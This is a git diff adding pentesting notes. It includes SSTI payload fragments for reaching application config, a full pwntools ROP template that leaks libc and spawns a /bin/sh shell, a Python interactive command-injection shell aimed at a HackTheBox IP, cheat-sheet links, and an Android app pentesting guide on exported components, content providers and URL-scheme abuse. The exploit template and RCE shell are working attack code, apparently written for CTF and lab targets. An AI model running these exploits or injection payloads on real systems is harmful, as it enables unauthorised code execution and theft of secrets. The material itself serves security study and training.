new file mode 100644
index 00000000..5b3108f3
--- /dev/null
+++ b/misc/basic-python/magic-methods.md
@@ -0,0 +1,59 @@
+# Magic Methods
+
+## Class Methods
+
+You can access the **methods** of a **class** using **\_\_dict\_\_.**
+
+![](../../.gitbook/assets/image%20%28275%29.png)
+
+You can access the functions
+
+![](../../.gitbook/assets/image%20%28285%29.png)
+
+## Object class
+
+### **Attributes**
+
+You can access the **attributes of an object** using **\_\_dict\_\_**. Example:
+
+![](../../.gitbook/assets/image%20%28146%29.png)
+
+### Class
+
+You can access the **class** of an object using **\_\_class\_\_**
+
+![](../../.gitbook/assets/image%20%28221%29.png)
+
+You can access the **methods** of the **class** of an **object chainning** magic functions:
+
+![](../../.gitbook/assets/image%20%28114%29.png)
+
+## Server Side Template Injection
+
+Interesting functions to exploit this vulnerability
+
+```text
+__init__.__globals__
+__class__.__init__.__globals__
+```
+
+Inside the response search for the application \(probably at the end?\)
+
+Then **access the environment content** of the application where you will hopefully find **some passwords** of interesting information:
+
+```text
+__init__.__globals__[].config
+__init__.__globals__[].__dict__
+__init__.__globals__[].__dict__.config
+__class__.__init__.__globals__[].config
+__class__.__init__.__globals__[].__dict__
+__class__.__init__.__globals__[].__dict__.config
+```
+
+## More Information
+
+* [https://rushter.com/blog/python-class-internals/](https://rushter.com/blog/python-class-internals/)
+* [https://docs.python.org/3/reference/datamodel.html](https://docs.python.org/3/reference/datamodel.html)
+* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/\#events](https://balsn.tw/ctf_writeup/20190603-facebookctf/#events)
+* [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0) \(events\)
+
diff --git a/misc/basic-python/rop-pwn-template.md b/misc/basic-python/rop-pwn-template.md
new file mode 100644
index 00000000..830fcfaf
--- /dev/null
+++ b/misc/basic-python/rop-pwn-template.md
@@ -0,0 +1,122 @@
+# ROP-PWN template
+
+{% code title="template.py" %}
+```python
+from pwn import * # Import pwntools
+
+
+####################
+#### CONNECTION ####
+####################
+LOCAL = True
+REMOTETTCP = False
+REMOTESSH = False
+GDB = False
+
+local_bin = "./vuln"
+remote_bin = "~/vuln" #For ssh
+libc = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
+
+if LOCAL:
+ p = process(local_bin) # start the vuln binary
+ elf = ELF(local_bin)# Extract data from binary
+ rop = ROP(elf)# Find ROP gadgets
+
+elif REMOTETTCP:
+ p = remote('docker.hackthebox.eu',31648) # start the vuln binary
+ elf = ELF(local_bin)# Extract data from binary
+ rop = ROP(elf)# Find ROP gadgets
+
+elif REMOTESSH:
+ ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+ p = ssh_shell.process(remote_bin) # start the vuln binary
+ elf = ELF(local_bin)# Extract data from binary
+ rop = ROP(elf)# Find ROP gadgets
+
+
+if GDB and not REMOTETTCP and not REMOTESSH:
+ # attach gdb and continue
+ # You can set breakpoints, for example "break *main"
+ gdb.attach(p.pid, "continue")
+
+
+####################
+#### Find offset ###
+####################
+OFFSET = ""#"A"*72
+if OFFSET == "":
+ gdb.attach(p.pid, "c") #Attach and continue
+ payload = cyclic(1000)
+ print(p.clean())
+ p.sendline(payload)
+ #x/wx $rsp -- Search for bytes that crashed the application
+ #cyclic_find(0x6161616b) # Find the offset of those bytes
+ p.interactive()
+ exit()
+
+
+#####################
+#### Find Gadgets ###
+#####################
+try:
+ PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
+except:
+ PUTS_PLT = elf.plt['printf']
+MAIN_PLT = elf.symbols['main']
+POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
+
+log.info("Main start: " + hex(MAIN_PLT))
+log.info("Puts plt: " + hex(PUTS_PLT))
+log.info("pop rdi; ret gadget: " + hex(POP_RDI))
+
+def get_addr(func_name):
+ FUNC_GOT = elf.got[func_name]
+ log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+ # Create rop chain
+ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+ #Send our rop-chain payload
+ #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+ print(p.clean()) # clean socket buffer (read all and print)
+ p.sendline(rop1)
+
+ #Parse leaked address
+ recieved = p.recvline().strip()
+ leak = u64(recieved.ljust(8, "\x00"))
+ log.info("Leaked libc address, "+func_name+": "+ hex(leak))
+ #If not libc yet, stop here
+ if libc != "":
+ libc.address = leak - libc.symbols[func_name] #Save libc base
+ log.info("libc base @ %s" % hex(libc.address))
+
+ return hex(leak)
+
+get_addr("puts") #Search for puts address in memmory to obtains libc base
+if libc == "":
+ print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+ p.interactive()
+
+# Notice that if a libc was specified the base of the library will be saved in libc.address
+# this implies that in the future if you search for functions in libc, the resulting address
+# will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS)
+
+#################################
+### GET SHELL with known LIBC ###
+#################################
+BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh
+SYSTEM = libc.sym["system"]
+EXIT = libc.sym["exit"]
+
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+
+rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
+
+p.clean()
+p.sendline(rop2)
+
+##### Interact with the shell #####
+p.interactive() #Interact with the conenction
+```
+{% endcode %}
+
diff --git a/misc/basic-python/web-requests.md b/misc/basic-python/web-requests.md
new file mode 100644
index 00000000..b5e6db3b
--- /dev/null
+++ b/misc/basic-python/web-requests.md
@@ -0,0 +1,66 @@
+---
+description: 'Get request, Post request (regular, json, file)'
+---
+
+# Web Requests
+
+```python
+import requests
+
+url = "http://example.com:80/some/path.php"
+params = {"p1":"value1", "p2":"value2"}
+headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
+cookies = {"PHPSESSION": "1234567890abcdef", "FakeCookie123": "456"}
+proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
+
+#Regular Get requests sending parameters (params)
+gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
+
+code = gr.status_code
+ret_headers = gr.headers
+body_byte = gr.content
+body_text = gr.text
+ret_cookies = gr.cookies
+is_redirect = gr.is_redirect
+is_permanent_redirect = gr.is_permanent_redirect
+
+#Regular Post requests sending parameters (data)
+pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
+
+#Json Post requests sending parameters(json)
+pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
+
+#Post request sending a file(files) and extra values
+filedict = {"" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
+pr = requests.post(url, data={"submit": "submit"}, files=filedict)
+```
+
+## Python cmd to exploit a RCE
+
+```python
+import requests
+import re
+from cmd import Cmd
+
+class Terminal(Cmd):
+ prompt = "Inject => "
+
+ def default(self, args):
+ output = RunCmd(args)
+ print(output)
+
+def RunCmd(cmd):
+ data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
+ r = requests.post('http://10.10.10.127/select', data=data)
+ page = r.text
+ m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
+ if m:
+ return m.group(1)
+ else:
+ return 1
+
+
+term = Terminal()
+term.cmdloop()
+```
+
diff --git a/misc/references.md b/misc/references.md
new file mode 100644
index 00000000..e89101dc
--- /dev/null
+++ b/misc/references.md
@@ -0,0 +1,26 @@
+# Other Big References
+
+{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/\#python-tty-shell-trick" %}
+
+{% embed url="https://rmusser.net/docs/Privilege%20Escalation%20&%20Post-Exploitation.html" %}
+
+{% embed url="https://hausec.com/pentesting-cheatsheet/\#\_Toc475368982" %}
+
+{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
+
+{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
+
+{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
+
+{% embed url="http://www.lifeoverpentest.com/2018/02/enumeration-cheat-sheet-for-windows.html" %}
+
+{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics\_of\_windows.html" %}
+
+{% embed url="http://www.0daysecurity.com/penetration-testing/enumeration.html" %}
+
+{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp\_resources/OSCP-Survival-Guide.md" %}
+
+{% embed url="https://anhtai.me/oscp-fun-guide/" %}
+
+
+
diff --git a/mobile-apps-pentesting/android-app-pentesting/README.md b/mobile-apps-pentesting/android-app-pentesting/README.md
new file mode 100644
index 00000000..57646cce
--- /dev/null
+++ b/mobile-apps-pentesting/android-app-pentesting/README.md
@@ -0,0 +1,722 @@
+# Android Applications Pentesting
+
+If you want to **know** about my **latest modifications**/**additions or you have any suggestion for HackTricks or PEASS**, **join the** [**PEASS & HackTricks telegram group here**](https://t.me/peass)**.**
+
+## Android Application Fundamentals
+
+This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app_fundamentals.html)
+
+### Fundamentals Review
+
+* Android applications are in the _APK file format_. APK is basically a ZIP file. \(You can rename the file extension to .zip and use unzip to open and see its contents.\)
+* APK Contents \(Not exhaustive\)
+ * AndroidManifest.xml
+ * META-INF/
+ * Certificate lives here!
+ * classes.dex
+ * Dalvik bytecode for application in the DEX file format. This is the Java \(or Kotlin\) code that the application will run by default.
+ * lib/
+ * Native libraries for the application, by default, live here! Under the lib/ directory, there are the cpu-specific directories.
+ * `armeabi`: compiled code for all ARM based processors only
+ * `armeabi-v7a`: compiled code for all ARMv7 and above based processors only
+ * `x86`: compiled code for X86
+ * `mips`: compiled code for MIPS processors only
+ * assets/
+ * Any other files that may be needed by the app.
+ * Additional native libraries or DEX files may be included here. This can happen especially when malware authors want to try and “hide” additional code, native or Dalvik, by not including it in the default locations.
+ * res/
+ * the directory containing resources not compiled into resources.arsc
+ * classes.dex: The classes compiled in the dex file format understandable by the Dalvik virtual machine
+ * resources.arsc: a file containing precompiled resources, such as binary XML for example.
+
+### Dalvik & Smali
+
+Most Android applications are written in Java. Kotlin is also supported and interoperable with Java. For ease, for the rest of this workshop, when I refer to “Java”, you can assume that I mean “Java or Kotlin”. Instead of the Java code being run in Java Virtual Machine \(JVM\) like desktop applications, in Android, the Java is compiled to the _Dalvik Executable \(DEX\) bytecode_ format. For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android, the Android Runtime \(ART\) is used.
+If developers, write in Java and the code is compiled to DEX bytecode, to reverse engineer, we work the opposite direction.
+![Flowchart of Developer's process. Java to DEX bytecode](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg)
+![Flowchart of Reverse Engineer's process. DEX bytecode to SMALI to Decompiled Java](https://maddiestone.github.io/AndroidAppRE/images/ReversersFlow.jpg)
+
+Smali is the human readable version of Dalvik bytecode. Technically, Smali and baksmali are the name of the tools \(assembler and disassembler, respectively\), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. SMALI is like the assembly language: between the higher level source code and the bytecode.
+
+### Application Entry Points
+
+One of the most important points of reverse engineering is knowing where to begin your analysis and entry points for code execution is an important part of that.
+
+#### Launcher Activity and other activities
+
+An **Android activity** is one screen of the **Android** app's user interface. In that way an **Android activity** is very similar to windows in a desktop application. An **Android** app may contain one or more activities, meaning one or more screens.
+
+The launcher activity is what most people think of as the entry point to an Android application. The launcher activity is the activity that is started when a user clicks on the icon for an application. You can determine the launcher activity by looking at the application’s manifest. The launcher activity will have the following MAIN and LAUNCHER intents listed.
+
+Keep in mind that not every application will have a launcher activity, especially apps without a UI. Examples of applications without a UI \(and thus a launcher activity\) are pre-installed applications that perform services in the background, such as voicemail.
+
+```markup
+
+
+
+
+
+
+```
+
+Activities can be exported allowing other processes on the device to launch the activity. By default, they aren't exported but you can export them setting:
+
+```markup
+
+```
+
+#### URL schemes
+
+An application can declare an **URL schema** inside and activity so every time the Android device try to **access an address using that schema** the applications activity will be called:
+
+![](../../.gitbook/assets/image%20%28141%29.png)
+
+In this case the scheme in `myapp://`
+
+If inside the `intent-filter`you find something like this:
+
+![](../../.gitbook/assets/image%20%28150%29.png)
+
+Then, it's expecting something like `http://www.example.com/gizmos`
+
+ If you find something like this:
+
+![](../../.gitbook/assets/image%20%28242%29.png)
+
+It will mean that it's expecting a URL starting by `example://gizmos`
+In this case you could try to abuse the functionality creating a web with the following payloads. It will try to navigate to arbitrary pages and try to execute JS:
+
+```markup
+click here
+click here
+```
+
+#### Content Provider
+
+* Content Provider component supplies data from one application to others on request.
+* You can store the data in the file system, an SQLite database, on the web, or any other persistent storage location your app can access.
+* Through the content provider, other apps can query or even modify the data \(if the content provider allows it\).
+* Content Provider is useful in cases when an app want to share data with another app.
+* It is much similar like databases and has four methods.
+ * insert\(\)
+ * update\(\)
+ * delete\(\)
+ * query\(\)
+
+#### FileProvider
+
+This is a type of Content Provider that will **share files** from a folder. You can declare a file provider like this:
+
+```markup
+
+
+
+```
+
+Note the **`android:exported`** attribute because if it's **`true`** external applications will be able to access the shared folders.
+Note that the configuration `android:resource="@xml/filepaths"` is indicating that the file _res/xml/filepaths.xml_ contains the configuration of **which folders** this **FileProvider** is going to **share**. This is an example of how to indicate to share a folder in that file:
+
+```markup
+
+
+
+```
+
+Sharing something like **`path="."`** could be **dangerous** even if the provider isn't exported if there is other vulnerability in some part of the code that tried to access this provider.
+You could **access** an **image** inside that folder with `content://com.example.myapp.fileprovider/myimages/default_image.jpg`asd
+[More information about FileProviders here](https://developer.android.com/training/secure-file-sharing/setup-sharing).
+
+#### Services
+
+[Services](https://developer.android.com/guide/components/services) run in the background without a UI. There is a myriad of ways that they can be started and thus are an entry point for applications. The default way that a service can be started as an entry point to an application is through [Intents](https://developer.android.com/guide/components/intents-filters).
+
+When the `startService` API is called to start a Service, the `onStart` method in the Service is executed.
+
+For example, a service might play music in the background while the user is in a different application, or it might fetch data over the network without blocking user interaction with an activity.
+
+A service can be exported which allows other processes on the device to start the service. By default services aren't exported but it can be configured in the Manifest:
+
+```markup
+
+```
+
+#### Broadcast Receivers
+
+Broadcasts can be thought of a messaging system and [broadcast receivers](https://developer.android.com/guide/components/broadcasts#receiving-broadcasts) are the listeners. If an application has registered a receiver for a specific broadcast, the code in that receiver is executed when the system sends the broadcast. There are 2 ways that an app can register a receiver: in the app’s Manifest or dynamically registered in the app’s code using the `registerReceiver()` API call.
+
+In both cases, to register the receiver, the intent filters for the receiver are set. These intent filters are the broadcasts that should trigger the receiver.
+
+When the specific broadcasts are sent that the receiver is registered for are sent, `onReceive` in the BroadcastReceiver class is executed.
+
+An application may register a receiver for the low battery message for example, and change its behavior based on that information.
+
+#### Application Subclass
+
+Android applications can define a subclass of [Application](https://developer.android.com/reference/android/app/Application). Applications can, but do not have to define a custom subclass of Application. If an Android app defines a Application subclass, this class is instantiated prior to any other class in the application.
+
+If the `attachBaseContext` method is defined in the Application subclass, it is called first, before the `onCreate` method.
+
+#### Intents
+
+Intent is basically a message that is passed between components \(such as Activities, Services, Broadcast Receivers, and Content Providers\).
+To be simple Intent can be used:
+
+* To start an Activity, typically opening a user interface for an app
+* As broadcasts to inform the system and apps of changes
+* To start, stop, and communicate with a background service
+* To access data via ContentProviders
+* As callbacks to handle events
+
+Improper implementation could result in data leakage, restricted functions being called and program flow being manipulated.
+[**Learn more about intents reading here.**](what-are-intents.md)\*\*\*\*
+
+#### Intent Filter
+
+An IntentFilters specifies the types of Intent that an activity, service, or Broadcast Receiver can respond to. An Intent Filter declares the capabilities of a component. It specifies what an activity or service can do and what types of broadcasts a Receiver can handle. It allows the corresponding component to receive Intents of the declared type. IntentFilters are typically defined via the AndroidManifest.xml file. For BroadcastReceiver it is also possible to define them in coding. An IntentFilters is defined by its category, action and data filters. It can also contain additional metadata.
+
+If any of the component is public then it can be accessed from another application installed on the same device. In Android a activity/services/content provider/broadcast receiver is **public** when exported is set to true but a component is also public if the **manifest specifies an Intent filter** for it. However,
+developers can **explicitly make components private** \(regardless of any intent filters\)
+by setting the **“exported” attribute to false** for each component in the manifest file.
+Developers can also set the “permission” attribute to require a certain permission to access each component, thereby restricting access to the component.
+
+### Other App components
+
+**Application Signing**
+
+* Android requires that all apps be digitally signed with a certificate before they can be installed. Android uses this certificate to identify the author of an app.
+* To run application on the device ,it should be signed.When application is installed on to an device then package manager verifies that whether the application has been properly signed with the certificate in the apk file or not.
+* Application can be self signed or can be signed through CA.
+* Application signing ensures that one application can’t access any other application except through well-defined IPC and also that it is passed unmodified to the device.
+
+**Application Verification**
+
+* Android 4.2 and later support application verification. Users can choose to enable “Verify Apps” and have applications evaluated by an application verifier prior to installation.
+* App verification can alert the user if they try to install an app that might be harmful; if an application is especially bad, it can block installation.
+
+**Android Sandbox**
+
+Once installed on a device, each Android app lives in its own security sandbox: – The Android operating system is a multi-user Linux system in which each app is a different user.
+
+* By default, the system assigns each app a unique Linux user ID \(the ID is used only by the system and is unknown to the app\). The system sets permissions for all the files in an app so that only the user ID assigned to that app can access them.
+* Each process has its own virtual machine \(VM\), so an app’s code runs in isolation from other apps.
+* By default, every app runs in its own Linux process. Android starts the process when any of the app’s components need to be executed, then shuts down the process when it’s no longer needed or when the system must recover memory for other apps.
+
+## ADB \(Android Debug Bridge\)
+
+This is the main tool you need to connect to an android device \(emulated or physical\).
+It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more.
+
+Take a look to the following list of [**ADB Commands**](adb-commands.md) ****to learn how to use adb.
+
+## Smali
+
+Sometimes it is interesting to **modify the application code** to access **hidden information** \(maybe well obfuscated passwords or flags\). Then, it could be interesting to decompile the apk, modify the code and recompile it.
+[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). This could be very useful as an **alternative for several tests during the dynamic analysis** that are going to presented. Then, **keep always in mid this possibility**.
+
+## Other interesting tricks
+
+* [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
+* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com/), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
+
+## Static Analysis
+
+First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.
+Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
+
+### Looking for interesting Info
+
+Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** \([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)\), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors \(hardcoded admin credentials to the app\).
+
+#### Firebase
+
+Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../pentesting/pentesting-web/buckets/firebase-database.md)
+
+### Basic understanding of the application - Manifest.xml
+
+Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.
+Reading the **manifest** you can find **vulnerabilities**:
+
+* First of all, check if **the application is debuggeable**. A production APK shouldn't be \(or others will be able to connect to it\). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _<application_ Example: ` formation-software.co.uk `
+* **Exported activities**: Check for exported activities inside the manifest as this could be dangerous. Later in the dynamic analysis it will be explained how [you can abuse this behaviour](./#exploiting-exported-activities-authorisation-bypass).
+* **Content Providers**: If a exported provider is being exposed, you could b able to access/modify interesting information. In dynamic analysis [you will learn how to abuse them](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information).
+ * Check for **FileProviders** configurations inside the attribute `android:name="android.support.FILE_PROVIDER_PATHS"`. [Read here to learn more about FileProviders](./#fileprovider).
+* **Exposed Services**: Depending on what the service is doing internally vulnerabilities could be exploited. In dynamic analysis [you will learn how to abuse them](./#exploiting-services).
+* **Broadcast Receivers**: [You will learn how you can possibly exploit them](./#exploiting-broadcast-receivers) during the dynamic analysis.
+* **URL scheme**: Read the code of the activity managing the schema and look for vulnerabilities managing the input of the user. More info about [what is an URL scheme here](./#url-schemes).
+
+### Insecure data storage
+
+#### Internal Storage
+
+Files **created** on **internal** storage are **accessible** only by the **app**. This protection is implemented by Android and is sufficient for most applications. But developers often use `MODE_WORLD_READBALE` & `MODE_WORLD_WRITABLE` to give access to those files to a different application, but this doesn’t limit other apps\(malicious\) from accessing them.
+During the **static** analysis **check** for the use of those **modes**, during the **dynamic** analysis **check** the **permissions** of the files created \(maybe some of them are worldwide readable/writable\).
+[More information about this vulnerability and how to fix it here.](https://manifestsecurity.com/android-application-security-part-8/)
+
+#### External Storage
+
+Files created on **external storage**, such as SD Cards, are **globally readable and writable**. Because external storage can be removed by the user and also modified by any application, you should **not store sensitive information using external storage**.
+As with data from any untrusted source, you should **perform input validation** when handling **data from external storage**. We strongly recommend that you not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading.
+Info taken from [here](https://manifestsecurity.com/android-application-security-part-8/).
+
+External storage can be **accessed** in `/storage/emulated/0`
+
+### Broken Cryptography
+
+#### Poor Key Management Processes
+
+Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information.
+
+#### Use of Insecure and/or Deprecated Algorithms
+
+Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt.
+
+### Other checks
+
+* It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
+* If the app is sensitive \(like bank apps\), it should perform it's **own checks to see if the mobile is rooted** and act in consequence.
+* If the app is sensitive \(like bank apps\), it should check if an **emulator** is being used.
+* If the app is sensitive \(like bank apps\), it should **check it's own integrity before executing** it to check if it was modified.
+
+### Other interesting functions
+
+* **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
+* **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
+* **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
+ * [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)\*\*\*\*
+
+
+
+## Dynamic Analysis
+
+> First of all, you need an environment where you can install the application and all the environment \(Burp CA cert, Drozer and Frida mainly\). Therefore, a rooted device \(emulated or not\) is extremely recommended.
+
+### Online Dynamic analysis
+
+You can create a **free account** in: [https://appetize.io/](https://appetize.io/). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
+
+You can even **see the logs of your application** in the web and connect through **adb**.
+
+![](../../.gitbook/assets/image%20%2823%29.png)
+
+Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
+
+### Local Dynamic Analysis
+
+You can use some **emulator** like:
+
+* \*\*\*\*[**Genymotion**](https://www.genymotion.com/fun-zone/) ****\(_Free version: **Personal Edition**, you need to **create** an **account**._\)
+* \*\*\*\*[**Android Studio**](https://developer.android.com/studio) **\(**You can create x86 and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator\).
+ * If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image`
+* \*\*\*\*[Nox](https://es.bignox.com/) \(Free, but it doesn't support Frida or Drozer\).
+
+{% hint style="info" %}
+When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
+{% endhint %}
+
+As most people will use **Genymotion**, note this trick. To **install google services** \(like AppStore\) you need to click on the red marked button of the following image:
+
+![](../../.gitbook/assets/image%20%28100%29.png)
+
+Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** \(this will be useful if you will be connecting to the Android VM from a different VM with the tools\).
+
+Or you could use a **physical** **device** \(you need to activate the debugging options and it will be cool if you can root it\):
+
+1. **Settings**.
+2. \(FromAndroid 8.0\) Select **System**.
+3. Select **About phone**.
+4. Press **Build number** 7 times.
+5. Go back and you will find the **Developer options**.
+
+
+
+> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.
+> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so will will be able to **learn how the application works** while MobSF **capture** a lot of **interesting** **data** you can review later on.
+
+### Unintended Data Leakage
+
+#### Logging
+
+Often Developers leave debugging information publicly. So any application with `READ_LOGS` permission can **access those logs** and can gain sensitive information through that.
+While navigating through the application use [**pidcat**](https://github.com/JakeWharton/pidcat)_\(Recommended, it's easier to use and read_\) or [adb logcat](adb-commands.md#logcat) to read the created logs and **look for sensitive information**.
+
+**Copy/Paste Buffer Caching**
+
+Android provides **clipboard-based** framework to provide copy-paste function in android applications. But this creates serious issue when some **other application** can **access** the **clipboard** which contain some sensitive data. **Copy/Paste** function should be **disabled** for **sensitive part** of the application. For example, disable copying credit card details.
+
+#### Crash Logs
+
+If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel.
+As pentester, **try to take a look to these logs**.
+
+#### Analytics Data Sent To 3rd Parties
+
+Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not.
+
+### SQLite DBs
+
+Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** \(which would be a vulnerability\).
+Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
+
+If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
+
+Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema `
+
+### Drozer \(Exploit Activities, Content Providers and Services\)
+
+**Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication \(IPC\) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).
+Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
+
+### Exploiting exported Activities - Authorisation bypass
+
+[Read this if you want to remind what is an Android Activity.](./#launcher-activity)
+When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
+[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)\*\*\*\*
+
+You can also start an exported activity from adb:
+
+* PackageName is com.example.demo
+* Exported ActivityName is com.example.test.MainActivity
+
+```text
+adb shell am start -n com.example.demo/com.example.test.MainActivity
+```
+
+**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions \(API versions < 21\).
+
+### Exploiting Content Providers - Accessing and manipulating sensitive information
+
+[Read this if you want to remind what is a Content Provider.](./#services)
+Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
+[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers)\*\*\*\*
+
+### **Exploiting Services**
+
+[Read this if you want to remind what is a Service.](./#services-1)
+As service is basically something that **can receive data**, **process** it and **returns** \(or not\) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...
+[**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services)\*\*\*\*
+
+### **Exploiting Broadcast Receivers**
+
+\*\*\*\*[Read this if you want to remind what is a Broadcast Receiver.](./#broadcast-receivers)
+A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.
+[**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers)
+
+### **Exploiting Schemes**
+
+You can **open** a declared **scheme** using **adb** or a **browser**:
+
+```bash
+adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
+```
+
+_Note that you can **omit the package name** and the mobile will automatically call the app that should open that link._
+
+```markup
+
+Click me
+
+with alternative
+```
+
+### Insufficient Transport Layer Protection
+
+* **Lack of Certificate Inspection:** Android Application fails to verify the identity of the certificate presented to it. Most of the application ignore the warnings and accept any self-signed certificate presented. Some Application instead pass the traffic through an HTTP connection.
+* **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection.
